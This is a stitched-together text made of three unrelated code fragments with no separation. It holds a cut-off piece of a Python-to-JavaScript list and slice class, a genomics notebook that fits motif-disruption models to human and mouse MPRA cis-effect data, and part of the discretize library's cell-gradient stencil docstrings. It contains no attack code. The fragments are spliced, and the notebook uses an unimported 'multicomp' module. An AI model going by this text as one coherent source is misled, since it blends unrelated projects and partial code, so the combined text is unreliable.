JS(""" var s = "["; for (var i=0; i < @{{self}}['__array']['length']; i++) { s += @{{repr}}(@{{self}}['__array'][i]); if (i < @{{self}}['__array']['length'] - 1) s += ", "; } s += "]"; return s; """) def __add__(self, y): if not isinstance(y, self): raise TypeError("can only concatenate list to list") return list(self.__array.concat(y.__array)) def __mul__(self, n): if not JS("@{{n}} !== null && @{{n}}['__number__'] && (@{{n}}['__number__'] != 0x01 || isFinite(@{{n}}))"): raise TypeError("can't multiply sequence by non-int") a = [] while n: n -= 1 a.extend(self.__array) return a def __rmul__(self, n): return self.__mul__(n) JS("@{{list}}['__str__'] = @{{list}}['__repr__'];") JS("@{{list}}['toString'] = @{{list}}['__str__'];") class slice: def __init__(self, a1, *args): if args: self.start = a1 self.stop = args[0] if len(args) > 1: self.step = args[1] else: self.step = None else: self.stop = a1 self.start = None self.step = None def __cmp__(self, x): r = cmp(self.start, x.start) if r != 0: return r r = cmp(self.stop, x.stop) if r != 0: return
<gh_stars>1-10 #!/usr/bin/env python # coding: utf-8 # # 01__cis_motif_model # # in this notebook, i find motifs whose disruption is significantly associated w/ cis effects using linear models # In[1]: import warnings warnings.filterwarnings('ignore') import itertools import pandas as pd import numpy as np import matplotlib as mpl import matplotlib.pyplot as plt import seaborn as sns import statsmodels.api as sm import statsmodels.formula.api as smf import sys from itertools import combinations from scipy.stats import boxcox from scipy.stats import linregress from scipy.stats import spearmanr from scipy.stats import pearsonr from statsmodels.stats.anova import anova_lm from sklearn.preprocessing import StandardScaler from sklearn.neighbors import NearestNeighbors from scipy import stats stats.chisqprob = lambda chisq, df: stats.chi2.sf(chisq, df) # import utils sys.path.append("../../../utils") from plotting_utils import * from classify_utils import * get_ipython().run_line_magic('matplotlib', 'inline') get_ipython().run_line_magic('config', "InlineBackend.figure_format = 'svg'") mpl.rcParams['figure.autolayout'] = False # In[2]: sns.set(**PAPER_PRESET) fontsize = PAPER_FONTSIZE # In[3]: np.random.seed(2019) # In[4]: QUANT_ALPHA = 0.05 # ## functions # In[5]: def calculate_gc(row, col): cs = row[col].count("C") gs = row[col].count("G") gc = (cs+gs)/len(row[col]) return gc # In[6]: def calculate_cpg(row, col): cpgs = row[col].count("CG") cpg = cpgs/len(row[col]) return cpg # In[7]: def lrtest(llmin, llmax): lr = 2 * (llmax - llmin) p = stats.chisqprob(lr, 1) # llmax has 1 dof more than llmin return lr, p # ## variables # In[8]: motif_dir = "../../../data/04__mapped_motifs/elem_fimo_out" motifs_f = "%s/fimo.txt.gz" % motif_dir # In[9]: elem_map_f = "../../../data/04__mapped_motifs/fastas/elem_map.txt" # In[10]: motif_info_dir = "../../../misc/01__motif_info" motif_map_f = "%s/00__lambert_et_al_files/00__metadata/curated_motif_map.txt" % motif_info_dir motif_info_f = "%s/00__lambert_et_al_files/00__metadata/motif_info.txt" % motif_info_dir # In[11]: sig_motifs_f = "../../../data/04__mapped_motifs/sig_motifs.txt" # In[12]: tss_map_f = "../../../data/01__design/01__mpra_list/mpra_tss.with_ids.RECLASSIFIED_WITH_MAX.txt" # In[13]: index_f = "../../../data/01__design/02__index/TWIST_pool4_v8_final.with_element_id.txt.gz" # In[14]: data_f = "../../../data/02__mpra/03__results/all_processed_results.txt" # ## 1. import data # In[15]: index = pd.read_table(index_f, sep="\t") index_elem = index[["element", "tile_type", "element_id", "name", "tile_number", "chrom", "strand", "actual_start", "actual_end", "dupe_info"]] index_elem = index_elem.drop_duplicates() # In[16]: tss_map = pd.read_table(tss_map_f, sep="\t") tss_map.head() # In[17]: motifs = pd.read_table(motifs_f, sep="\t") motifs.head() # In[18]: elem_map = pd.read_table(elem_map_f, sep="\t") elem_map.head() # In[19]: motif_map = pd.read_table(motif_map_f, sep="\t") motif_map.head() # In[20]: motif_info = pd.read_table(motif_info_f, sep="\t") motif_info.head() # In[21]: sig_motifs = pd.read_table(sig_motifs_f) sig_motifs = sig_motifs[sig_motifs["padj"] < 0.05] print(len(sig_motifs)) sig_motifs.head() # In[22]: data = pd.read_table(data_f) data.head() # ## 2. filter to significant motifs only (found via model) # In[23]: mapped_sig_motifs = motifs[motifs["#pattern name"].isin(sig_motifs["index"])] len(mapped_sig_motifs) # In[24]: uniq_motifs = list(mapped_sig_motifs["#pattern name"].unique()) print(len(uniq_motifs)) # ## 3. join motifs w/ element metadata # In[25]: motifs_merged = mapped_sig_motifs.merge(elem_map, left_on="sequence name", right_on="elem_key") motifs_merged.head() # In[26]: motifs_merged = motifs_merged.merge(index_elem, left_on="elem", right_on="element") motifs_merged.head() # In[27]: motifs_merged["tss_id"] = motifs_merged["name"].str.split("__", expand=True)[1] motifs_merged["species"] = motifs_merged["name"].str.split("_", expand=True)[0] motifs_merged["tss_tile_num"] = motifs_merged["name"].str.split("__", expand=True)[2] motifs_merged.sample(5) # In[28]: human_df = motifs_merged[(motifs_merged["species"] == "HUMAN") | (motifs_merged["name"] == "random_sequence")] mouse_df = motifs_merged[(motifs_merged["species"] == "MOUSE") | (motifs_merged["name"] == "random_sequence")] human_df = human_df.merge(tss_map[["hg19_id", "biotype_hg19", "minimal_biotype_hg19", "stem_exp_hg19", "orig_species", "mm9_id", "tile_match"]], left_on="tss_id", right_on="hg19_id", how="left") mouse_df = mouse_df.merge(tss_map[["mm9_id", "biotype_mm9", "minimal_biotype_mm9", "stem_exp_mm9", "orig_species", "hg19_id", "tile_match"]], left_on="tss_id", right_on="mm9_id", how="left") print(len(human_df)) print(len(mouse_df)) mouse_df.sample(5) # In[29]: both_tile_ids = tss_map[(~pd.isnull(tss_map["n_tiles_hg19"]) & ~(pd.isnull(tss_map["n_tiles_mm9"])))] len(both_tile_ids) # In[30]: tile1_ids = both_tile_ids[(both_tile_ids["tile_match"] == "tile1:tile1") | (both_tile_ids["tile_match"] == "tile1:tile2")][["hg19_id", "mm9_id"]].drop_duplicates() len(tile1_ids) # In[31]: tile2_ids = both_tile_ids[(both_tile_ids["tile_match"] == "tile2:tile2")][["hg19_id", "mm9_id"]].drop_duplicates() len(tile2_ids) # In[32]: # limit dfs to tile1s where appropriate and tile2 where appropriate human_tile1 = human_df.merge(tile1_ids, on=["hg19_id", "mm9_id"]) human_tile1 = human_tile1[human_tile1["tss_tile_num"] == "tile1"] human_tile1 = human_tile1.drop(["orig_species", "mm9_id", "tile_match"], axis=1).drop_duplicates() len(human_tile1) # In[33]: human_tile2 = human_df.merge(tile2_ids, on=["hg19_id", "mm9_id"]) human_tile2 = human_tile2[human_tile2["tss_tile_num"] == "tile2"] human_tile2 = human_tile2.drop(["orig_species", "mm9_id", "tile_match"], axis=1).drop_duplicates() len(human_tile2) # In[34]: mouse_tile1 = mouse_df.merge(tile1_ids, on=["mm9_id", "hg19_id"]) mouse_tile1 = mouse_tile1[mouse_tile1["tss_tile_num"] == "tile1"] mouse_tile1 = mouse_tile1.drop(["orig_species", "hg19_id", "tile_match"], axis=1).drop_duplicates() len(mouse_tile1) # In[35]: mouse_tile2 = mouse_df.merge(tile2_ids, on=["mm9_id", "hg19_id"]) mouse_tile2 = mouse_tile2[mouse_tile2["tss_tile_num"] == "tile2"] mouse_tile2 = mouse_tile2.drop(["orig_species", "hg19_id", "tile_match"], axis=1).drop_duplicates() len(mouse_tile2) # In[36]: print(len(human_tile1.hg19_id.unique())) print(len(mouse_tile1.mm9_id.unique())) # In[37]: print(len(human_tile2.hg19_id.unique())) print(len(mouse_tile2.mm9_id.unique())) # In[38]: human_df = human_tile1.append(human_tile2) mouse_df = mouse_tile1.append(mouse_tile2) # In[39]: human_df = human_df.drop_duplicates() mouse_df = mouse_df.drop_duplicates() print(len(human_df)) print(len(mouse_df)) # ## 4. merge cis data w/ element data for model # In[40]: index_elem = index_elem[index_elem["name"].str.contains("EVO")] index_elem.head() # In[41]: index_elem["tss_id"] = index_elem["name"].str.split("__", expand=True)[1] index_elem["tss_tile_num"] = index_elem["name"].str.split("__", expand=True)[2] index_elem.sample(5) # In[42]: index_human = index_elem[index_elem["name"].str.contains("HUMAN")] index_mouse = index_elem[index_elem["name"].str.contains("MOUSE")] index_mouse.sample(5) # In[43]: print(len(data)) data_elem = data.merge(index_human[["element", "tss_id", "tss_tile_num"]], left_on=["hg19_id", "tss_tile_num"], right_on=["tss_id", "tss_tile_num"]) data_elem = data_elem.merge(index_mouse[["element", "tss_id", "tss_tile_num"]], left_on=["mm9_id", "tss_tile_num"], right_on=["tss_id", "tss_tile_num"], suffixes=("_human", "_mouse")) data_elem.drop(["tss_id_human", "tss_id_mouse"], axis=1, inplace=True) print(len(data)) data_elem.head() # In[44]: data_elem["gc_human"] = data_elem.apply(calculate_gc, col="element_human", axis=1) data_elem["gc_mouse"] = data_elem.apply(calculate_gc, col="element_mouse", axis=1) data_elem["cpg_human"] = data_elem.apply(calculate_cpg, col="element_human", axis=1) data_elem["cpg_mouse"] = data_elem.apply(calculate_cpg, col="element_mouse", axis=1) data_elem.sample(5) # In[45]: data_elem["delta_gc"] = data_elem["gc_mouse"] - data_elem["gc_human"] data_elem["delta_cpg"] = data_elem["cpg_mouse"] - data_elem["cpg_human"] data_elem["mean_gc"] = data_elem[["gc_mouse", "gc_human"]].mean(axis=1) data_elem["mean_cpg"] = data_elem[["cpg_mouse", "cpg_human"]].mean(axis=1) data_elem["abs_delta_gc"] = np.abs(data_elem["delta_gc"]) data_elem["abs_delta_cpg"] = np.abs(data_elem["delta_cpg"]) data_elem.sample(5) # In[46]: data_elem["abs_logFC_cis"] = np.abs(data_elem["logFC_cis_one"]) data_elem["box_abs_logFC_cis"] = boxcox(data_elem["abs_logFC_cis"])[0] # In[47]: data_elem.columns # ## 5. build reduced model # first using raw cis effect size (no abs val) # In[48]: scaled_features = StandardScaler().fit_transform(data_elem[["logFC_cis_one", "delta_gc", "delta_cpg", "mean_gc", "mean_cpg"]]) data_norm = pd.DataFrame(scaled_features, index=data_elem.index, columns=["logFC_cis_one", "delta_gc", "delta_cpg", "mean_gc", "mean_cpg"]) data_norm["HUES64_padj_hg19"] = data_elem["HUES64_padj_hg19"] data_norm["mESC_padj_mm9"] = data_elem["mESC_padj_mm9"] data_norm["element_human"] = data_elem["element_human"] data_norm["element_mouse"] = data_elem["element_mouse"] data_norm["hg19_id"] = data_elem["hg19_id"] data_norm["mm9_id"] = data_elem["mm9_id"] data_norm["tss_tile_num"] = data_elem["tss_tile_num"] data_norm["cis_status_one"] = data_elem["cis_status_one"] data_norm.head() # In[49]: data_filt = data_norm[((data_norm["HUES64_padj_hg19"] < QUANT_ALPHA) | (data_norm["mESC_padj_mm9"] < QUANT_ALPHA))] print(len(data_filt)) data_filt.head() # In[50]: mod = smf.ols(formula='logFC_cis_one ~ mean_gc + mean_cpg + delta_gc + delta_cpg', data=data_filt).fit() # In[51]: mod.summary() # In[52]: res = mod.resid fig, ax = plt.subplots(figsize=(2.2, 2.2), ncols=1, nrows=1) sm.qqplot(res, line='s', ax=ax) ax.set_title("Normal QQ: cis effects model") # fig.savefig("avg_activ_qq.pdf", dpi="figure", bbox_inches="tight") # In[53]: reduced_llf = mod.llf reduced_llf # then using absolute value of cis effects # In[54]: scaled_features = StandardScaler().fit_transform(data_elem[["box_abs_logFC_cis", "abs_delta_gc", "abs_delta_cpg", "mean_gc", "mean_cpg"]]) data_norm = pd.DataFrame(scaled_features, index=data_elem.index, columns=["box_abs_logFC_cis", "abs_delta_gc", "abs_delta_cpg", "mean_gc", "mean_cpg"]) data_norm["HUES64_padj_hg19"] = data_elem["HUES64_padj_hg19"] data_norm["mESC_padj_mm9"] = data_elem["mESC_padj_mm9"] data_norm["element_human"] = data_elem["element_human"] data_norm["element_mouse"] = data_elem["element_mouse"] data_norm["hg19_id"] = data_elem["hg19_id"] data_norm["mm9_id"] = data_elem["mm9_id"] data_norm["tss_tile_num"] = data_elem["tss_tile_num"] data_norm["cis_status_one"] = data_elem["cis_status_one"] data_norm.head() # In[55]: data_filt = data_norm[((data_norm["HUES64_padj_hg19"] < QUANT_ALPHA) | (data_norm["mESC_padj_mm9"] < QUANT_ALPHA))] print(len(data_filt)) data_filt.head() # In[56]: mod = smf.ols(formula='box_abs_logFC_cis ~ mean_gc + mean_cpg + abs_delta_gc + abs_delta_cpg', data=data_filt).fit() # In[57]: mod.summary() # In[58]: res = mod.resid fig, ax = plt.subplots(figsize=(2.2, 2.2), ncols=1, nrows=1) sm.qqplot(res, line='s', ax=ax) ax.set_title("Normal QQ: cis effects model") # fig.savefig("avg_activ_qq.pdf", dpi="figure", bbox_inches="tight") # In[59]: reduced_llf = mod.llf reduced_llf # In[60]: reduced_rsq = mod.rsquared reduced_rsq # ## 6. add motifs to model # In[61]: len(data_filt) # In[62]: data_filt["hg19_index"] = data_filt["hg19_id"] + "__" + data_filt["tss_tile_num"] data_filt["mm9_index"] = data_filt["mm9_id"] + "__" + data_filt["tss_tile_num"] # In[63]: human_df["hg19_index"] = human_df["hg19_id"] + "__" + human_df["tss_tile_num"] mouse_df["mm9_index"] = mouse_df["mm9_id"] + "__" + mouse_df["tss_tile_num"] # In[64]: def motif_disrupted(row): if row["motif_sum"] == 1: return "c - disrupted" elif row["motif_sum"] == 0: return "b - not present" else: return "a - maintained" # In[65]: len(human_df[human_df["tss_tile_num"] == "tile2"]["hg19_id"].unique()) # In[66]: motif_results = {} for i, motif_id in enumerate(uniq_motifs): tmp = data_filt.copy() # determine whether motif is in human or mouse sequence human_motifs_sub = human_df[human_df["#pattern name"] == motif_id]["hg19_index"].unique() mouse_motifs_sub = mouse_df[mouse_df["#pattern name"] == motif_id]["mm9_index"].unique() tmp["hg19_motif"] = tmp["hg19_index"].isin(human_motifs_sub) tmp["mm9_motif"] = tmp["mm9_index"].isin(mouse_motifs_sub) tmp["motif_sum"] = tmp[["hg19_motif", "mm9_motif"]].sum(axis=1) #tmp = tmp[tmp["motif_sum"] >= 1] tmp["motif_disrupted"] = tmp.apply(motif_disrupted, axis=1) n_maintained = len(tmp[tmp["motif_disrupted"] == "a - maintained"]) # make reduced model mod = smf.ols(formula='box_abs_logFC_cis ~ mean_gc + mean_cpg + abs_delta_gc + abs_delta_cpg', data=tmp).fit() reduced_llf = mod.llf reduced_rsq = mod.rsquared # make full model full_mod = smf.ols(formula='box_abs_logFC_cis ~ mean_gc + mean_cpg + abs_delta_gc + abs_delta_cpg + motif_disrupted', data=tmp).fit() full_llf = full_mod.llf full_rsq = full_mod.rsquared # perform likelihood ratio test lr, p = lrtest(reduced_llf, full_llf) # calculate additional variance explained rsq = full_rsq - reduced_rsq # record beta beta = list(full_mod.params)[2] # beta p beta_p = list(full_mod.pvalues)[2] print("(#%s) %s: n w/ motif: %s ... p: %s, rsquared: %s" % (i+1, motif_id, len(tmp), p, rsq)) motif_results[motif_id] = {"lr_test": lr, "pval": p, "rsq": rsq, "beta": beta, "beta_p": beta_p, "n_maintained": n_maintained} # In[67]: motif_results = pd.DataFrame.from_dict(motif_results, orient="index").reset_index() motif_results = motif_results[motif_results["n_maintained"] >= 10] print(len(motif_results)) motif_results.head() # In[68]: motif_results["padj"] = multicomp.multipletests(motif_results["pval"], method="fdr_bh")[1] len(motif_results[motif_results["padj"] < 0.05]) # In[69]: motif_results["beta_padj"] = multicomp.multipletests(motif_results["beta_p"], method="fdr_bh")[1] len(motif_results[motif_results["beta_padj"] < 0.05]) # In[70]: motif_results.sort_values(by="beta_padj").head(10) # ## 7. join w/ TF info # In[71]: motif_results_mrg = motif_results.merge(sig_motifs, on="index", suffixes=("_cis", "_activ")) motif_results_mrg.sort_values(by="padj_cis").head() # In[72]: #sig_results = motif_results_mrg[(motif_results_mrg["padj_cis"] < 0.05) & (motif_results_mrg["beta_cis"] > 0)] sig_results = motif_results_mrg[(motif_results_mrg["beta_padj"] < 0.05) & (motif_results_mrg["beta_cis"] > 0)] sig_results = sig_results.sort_values(by="beta_cis", ascending=False) # In[73]: pal = {"repressing": sns.color_palette("pastel")[3], "activating": sns.color_palette("pastel")[0]} # In[74]: full_pal = {} for i, row in sig_results.iterrows(): full_pal[row["HGNC symbol"]] = pal[row["activ_or_repr"]] # In[75]: sig_activ = sig_results[sig_results["activ_or_repr"] == "activating"] sig_repr = sig_results[sig_results["activ_or_repr"] == "repressing"] # In[76]: fig = plt.figure(figsize=(3.5, 2)) ax1 = plt.subplot2grid((1, 6), (0, 0), colspan=3) ax2 = plt.subplot2grid((1, 6), (0, 3), colspan=2) ax3 = plt.subplot2grid((1, 6), (0, 5), colspan=1) yvals = [] symbs = [] c = 0 for i, row in sig_activ.iterrows(): symb = row["HGNC symbol"] if symb not in symbs: yvals.append(c) symbs.append(symb) c += 1 else: yvals.append(c) sig_activ["yval"] = yvals sns.barplot(y="HGNC symbol", x="beta_cis", data=sig_activ, palette=full_pal, ax=ax1) ax1.set_ylabel("") ax1.set_xlabel("effect size of\nmotif disruption") sns.barplot(y="HGNC symbol", x="rsq_activ", data=sig_activ, palette=full_pal, ax=ax2) ax2.set_ylabel("") ax2.tick_params(left=False, labelleft=False) ax2.set_xticklabels([0, 0.05]) ax2.set_xlabel("MPRA activity\nvariance explained") melt = pd.melt(sig_activ, id_vars=["HGNC symbol", "yval"], value_vars=["no_CAGE_enr", "eRNA_enr", "lncRNA_enr", "mRNA_enr"]) ax3.plot(melt["value"], melt["yval"], 'o', color="black") ax3.set_xlim((-0.5, 3.5)) ax3.set_ylim((np.max(yvals)-0.5, -0.5)) ax3.tick_params(labelleft=False, labelbottom=False, bottom=False, left=False, top=True, labeltop=True) ax3.xaxis.set_ticks([0, 1, 2, 3]) ax3.set_xticklabels(["no CAGE", "eRNA", "lncRNA", "mRNA"], rotation=60, ha="left", va="bottom") plt.show() fig.savefig("Fig3B.pdf", dpi="figure", bbox_inches="tight") plt.close() # In[77]: fig = plt.figure(figsize=(4, 0.5)) ax1 = plt.subplot2grid((1, 7), (0, 0), colspan=3) ax2 = plt.subplot2grid((1, 7), (0, 3), colspan=3) ax3 = plt.subplot2grid((1, 7), (0, 6), colspan=1) yvals = [] symbs = [] c = 0 for i, row in sig_repr.iterrows(): symb = row["HGNC symbol"] if symb not in symbs: yvals.append(c) symbs.append(symb) c += 1 else: yvals.append(c) sig_repr["yval"] = yvals sns.barplot(y="HGNC symbol", x="beta_cis", data=sig_repr, palette=full_pal, ax=ax1) ax1.set_ylabel("") ax1.set_xlabel("effect size of motif disruption") sns.barplot(y="HGNC symbol", x="rsq_activ", data=sig_repr, palette=full_pal, ax=ax2) ax2.set_ylabel("") ax2.tick_params(left=False, labelleft=False) ax2.set_xlabel("variance explained") melt = pd.melt(sig_repr, id_vars=["HGNC symbol", "yval"], value_vars=["no_CAGE_enr", "eRNA_enr", "lncRNA_enr", "mRNA_enr"]) ax3.plot(melt["value"], melt["yval"], 'o', color="black") ax3.set_xlim((-0.5, 3.5)) ax3.set_ylim((np.max(yvals)-0.5, -0.5)) ax3.tick_params(labelleft=False, labelbottom=False, bottom=False, left=False, top=True, labeltop=True) ax3.xaxis.set_ticks([0, 1, 2, 3]) ax3.set_xticklabels(["no CAGE", "eRNA", "lncRNA", "mRNA"], rotation=60, ha="left", va="bottom") plt.show() fig.savefig("FigS10.pdf", dpi="figure", bbox_inches="tight") plt.close() # In[78]: data_filt = data_elem[((data_elem["HUES64_padj_hg19"] < QUANT_ALPHA) | (data_elem["mESC_padj_mm9"] < QUANT_ALPHA))] print(len(data_filt)) # data_filt = data_filt[data_filt["tss_tile_num"] == "tile1"].drop("orig_species", axis=1).drop_duplicates() # len(data_filt) # In[79]: data_filt_sp = data_filt.drop("orig_species", axis=1) data_filt_sp.drop_duplicates(inplace=True) len(data_filt_sp) # In[80]: data_filt_sp["hg19_index"] = data_filt_sp["hg19_id"] + "__" + data_filt_sp["tss_tile_num"] data_filt_sp["mm9_index"] = data_filt_sp["mm9_id"] + "__" + data_filt_sp["tss_tile_num"] # In[81]: def uniq_motif(row): if row.hg19_motif == True: if row.mm9_motif == True: return "maintained" else: return "disrupted in mouse" else: if row.mm9_motif == True: return "disrupted in human" else: return "not present" # In[82]: sns.palplot(sns.color_palette("Set2")) # In[83]: # plot some examples examps = ["ASCL2",
mapping of the operator and its sparsity is also illustrated. We start by importing the necessary packages and modules. >>> from discretize import TensorMesh >>> import numpy as np >>> import matplotlib.pyplot as plt >>> import matplotlib as mpl We then construct a mesh and define a scalar function at cell centers. In this case, the scalar represents some block within a homogeneous medium. Create a uniform grid >>> h = np.ones(40) >>> mesh = TensorMesh([h, h, h], "CCC") Create a discrete scalar at cell centers >>> centers = mesh.cell_centers >>> phi = np.zeros(mesh.nC) >>> k = ( ... (np.abs(mesh.cell_centers[:, 0]) < 10.) & ... (np.abs(mesh.cell_centers[:, 1]) < 10.) & ... (np.abs(mesh.cell_centers[:, 2]) < 10.) ... ) >>> phi[k] = 1. Before constructing the operator, we must define the boundary conditions; zero Neumann for our example. Even though we are only computing the difference along z, we define boundary conditions for all boundary faces. Once the operator is created, it is applied as a matrix-vector product. >>> mesh.set_cell_gradient_BC(['neumann', 'neumann', 'neumann']) >>> Gz = mesh.stencil_cell_gradient_z >>> diff_phi_z = Gz @ phi Now we plot the original scalar, and the differencing taken along the z-axis for a slice at y = 0. .. collapse:: Expand to show scripting for plot >>> fig = plt.figure(figsize=(13, 5)) >>> ax1 = fig.add_subplot(121) >>> mesh.plot_slice(phi, ax=ax1, normal='Y', slice_loc=0) >>> ax1.set_title("Scalar at cell centers", fontsize=14) >>> ax2 = fig.add_subplot(122) >>> v = np.r_[np.zeros(mesh.nFx+mesh.nFy), diff_phi_z] # Define vector for plotting fun >>> mesh.plot_slice(v, ax=ax2, v_type='Fz', normal='Y', slice_loc=0) >>> ax2.set_title("Difference (z-axis)", fontsize=14) >>> plt.show() The z-component cell gradient stencil is a sparse differencing matrix that maps from cell centers to z-faces. To demonstrate this, we provide a spy plot .. collapse:: Expand to show scripting for plot >>> fig = plt.figure(figsize=(9, 9)) >>> ax1 = fig.add_subplot(111) >>> ax1.spy(mesh.stencil_cell_gradient_z, ms=1) >>> ax1.set_title("Spy Plot", fontsize=16, pad=5) >>> ax1.set_xlabel("Cell Index", fontsize=12) >>> ax1.set_ylabel("Z-Face Index", fontsize=12) >>> plt.show() """ if self.dim < 3: return None BC = ["neumann", "neumann"] # TODO: remove this hard-coding n = self.vnC G3 = kron3(_ddxCellGrad(n[2], BC), speye(n[1]), speye(n[0])) return G3 @property def stencil_cell_gradient(self): """Stencil for cell gradient operator (cell centers to faces) This property constructs a differencing operator that acts on cell centered quantities. The operator takes the difference between the values at adjacent cell centers along each axis direction, and places the result on the shared face; e.g. differences along the x-axis are mapped to x-faces. The operator is a sparse matrix :math:`\\mathbf{G}` that can be applied as a matrix-vector product to a cell centered quantity :math:`\\boldsymbol{\\phi}`, i.e.:: diff_phi = G @ phi By default, the operator assumes zero-Neumann boundary conditions on the scalar quantity. Before calling **stencil_cell_gradient** however, the user can set a mix of zero Dirichlet and zero Neumann boundary conditions using :py:attr:`~discretize.operators.DiffOperators.set_cell_gradient_BC`. When **stencil_cell_gradient** is called, the boundary conditions are enforced for the differencing operator. Once constructed, the operator is stored as a property of the mesh. Returns ------- (n_faces, n_cells) scipy.sparse.csr_matrix The stencil for the cell gradient Examples -------- Below, we demonstrate how to set boundary conditions for the cell gradient stencil, construct the cell gradient stencil and apply it to a discrete scalar quantity. The mapping of the cell gradient operator and its sparsity is also illustrated. Our example is carried out on a 2D mesh but it can be done equivalently for a 3D mesh. We start by importing the necessary packages and modules. >>> from discretize import TensorMesh >>> import numpy as np >>> import matplotlib.pyplot as plt >>> import matplotlib as mpl We then construct a mesh and define a scalar function at cell centers. In this case, the scalar represents some block within a homogeneous medium. Create a uniform grid >>> h = np.ones(40) >>> mesh = TensorMesh([h, h], "CC") Create a discrete scalar at cell centers >>> centers = mesh.cell_centers >>> phi = np.zeros(mesh.nC) >>> k = (np.abs(mesh.cell_centers[:, 0]) < 10.) & (np.abs(mesh.cell_centers[:, 1]) < 10.) >>> phi[k] = 1. Before constructing the operator, we must define the boundary conditions; zero Neumann for our example. Once the operator is created, it is applied as a matrix-vector product. >>> mesh.set_cell_gradient_BC(['neumann', 'neumann']) >>> G = mesh.stencil_cell_gradient >>> diff_phi = G @ phi Now we plot the original scalar, and the differencing taken along the x and y axes. .. collapse:: Expand to show scripting for plot >>> fig = plt.figure(figsize=(15, 4.5)) >>> ax1 = fig.add_subplot(131) >>> mesh.plot_image(phi, ax=ax1) >>> ax1.set_title("Scalar at cell centers", fontsize=14) >>> ax2 = fig.add_subplot(132) >>> mesh.plot_image(diff_phi, ax=ax2, v_type="Fx") >>> ax2.set_yticks([]) >>> ax2.set_ylabel("") >>> ax2.set_title("Difference (x-axis)", fontsize=14) >>> ax3 = fig.add_subplot(133) >>> mesh.plot_image(diff_phi, ax=ax3, v_type="Fy") >>> ax3.set_yticks([]) >>> ax3.set_ylabel("") >>> ax3.set_title("Difference (y-axis)", fontsize=14) >>> plt.show() The cell gradient stencil is a sparse differencing matrix that maps from cell centers to faces. To demonstrate this, we construct a small 2D mesh. We then show the ordering of the elements and a spy plot. >>> mesh = TensorMesh([[(1, 3)], [(1, 6)]]) >>> mesh.set_cell_gradient_BC('neumann') .. collapse:: Expand to show scripting for plot >>> fig = plt.figure(figsize=(12, 10)) >>> ax1 = fig.add_subplot(121) >>> mesh.plot_grid(ax=ax1) >>> ax1.set_title("Mapping of Stencil", fontsize=14, pad=15) >>> ax1.plot(mesh.cell_centers[:, 0], mesh.cell_centers[:, 1], "ro", markersize=8) >>> for ii, loc in zip(range(mesh.nC), mesh.cell_centers): ... ax1.text(loc[0] + 0.05, loc[1] + 0.02, "{0:d}".format(ii), color="r") >>> ax1.plot(mesh.faces_x[:, 0], mesh.faces_x[:, 1], "g>", markersize=8) >>> for ii, loc in zip(range(mesh.nFx), mesh.faces_x): ... ax1.text(loc[0] + 0.05, loc[1] + 0.02, "{0:d}".format(ii), color="g") >>> ax1.plot(mesh.faces_y[:, 0], mesh.faces_y[:, 1], "g^", markersize=8) >>> for ii, loc in zip(range(mesh.nFy), mesh.faces_y): ... ax1.text(loc[0] + 0.05, loc[1] + 0.02, "{0:d}".format((ii + mesh.nFx)), color="g") >>> ax1.set_xticks([]) >>> ax1.set_yticks([]) >>> ax1.spines['bottom'].set_color('white') >>> ax1.spines['top'].set_color('white') >>> ax1.spines['left'].set_color('white') >>> ax1.spines['right'].set_color('white') >>> ax1.set_xlabel('X', fontsize=16, labelpad=-5) >>> ax1.set_ylabel('Y', fontsize=16, labelpad=-15) >>> ax1.legend( ... ['Mesh', r'$\\mathbf{\\phi}$ (centers)', r'$\\mathbf{G^\\ast \\phi}$ (faces)'], ... loc='upper right', fontsize=14 ... ) >>> ax2 = fig.add_subplot(122) >>> ax2.spy(mesh.stencil_cell_gradient) >>> ax2.set_title("Spy Plot", fontsize=14, pad=5) >>> ax2.set_ylabel("Face Index", fontsize=12) >>> ax2.set_xlabel("Cell Index", fontsize=12) >>> plt.show() """ BC = self.set_cell_gradient_BC(self._cell_gradient_BC_list) if self.dim == 1: G = _ddxCellGrad(self.shape_cells[0], BC[0]) elif self.dim == 2: G1 = sp.kron( speye(self.shape_cells[1]), _ddxCellGrad(self.shape_cells[0], BC[0]) ) G2 = sp.kron( _ddxCellGrad(self.shape_cells[1], BC[1]), speye(self.shape_cells[0]) ) G = sp.vstack((G1, G2), format="csr") elif self.dim == 3: G1 = kron3( speye(self.shape_cells[2]), speye(self.shape_cells[1]), _ddxCellGrad(self.shape_cells[0], BC[0]), ) G2 = kron3( speye(self.shape_cells[2]), _ddxCellGrad(self.shape_cells[1], BC[1]), speye(self.shape_cells[0]), ) G3 = kron3( _ddxCellGrad(self.shape_cells[2], BC[2]), speye(self.shape_cells[1]), speye(self.shape_cells[0]), ) G = sp.vstack((G1, G2, G3), format="csr") return G @property def cell_gradient(self): """Cell gradient operator (cell centers to faces) This property constructs the 2nd order numerical gradient operator that maps from cell centers to faces. The operator is a sparse matrix :math:`\\mathbf{G_c}` that can be applied as a matrix-vector product to a discrete scalar quantity :math:`\\boldsymbol{\\phi}` that lives at the cell centers; i.e.:: grad_phi = Gc @ phi By default, the operator assumes zero-Neumann boundary conditions on the scalar quantity. Before calling **cell_gradient** however, the user can set a mix of zero Dirichlet and zero Neumann boundary conditions using :py:attr:`~discretize.operators.DiffOperators.set_cell_gradient_BC`. When **cell_gradient** is called, the boundary conditions are enforced for the gradient operator. Once constructed, the operator is stored as a property of the mesh. *See notes*. This operator is defined mostly as a helper property, and is not necessarily recommended to use when solving PDE's. Returns ------- (n_faces, n_cells) scipy.sparse.csr_matrix The numerical gradient operator from cell centers to faces Notes ----- In continuous space, the gradient operator is defined as: .. math:: \\vec{u} = \\nabla \\phi = \\frac{\\partial \\phi}{\\partial x}\\hat{x} + \\frac{\\partial \\phi}{\\partial y}\\hat{y} + \\frac{\\partial \\phi}{\\partial z}\\hat{z} Where :math:`\\boldsymbol{\\phi}` is the discrete representation of the continuous variable :math:`\\phi` at cell centers and :math:`\\mathbf{u}` is the discrete representation of :math:`\\vec{u}` on the faces, **cell_gradient** constructs a discrete linear operator :math:`\\mathbf{G_c}` such that: .. math:: \\mathbf{u} = \\mathbf{G_c} \\, \\boldsymbol{\\phi} Second order ghost points are used to enforce boundary conditions and map appropriately to boundary faces. Along each axes direction, we
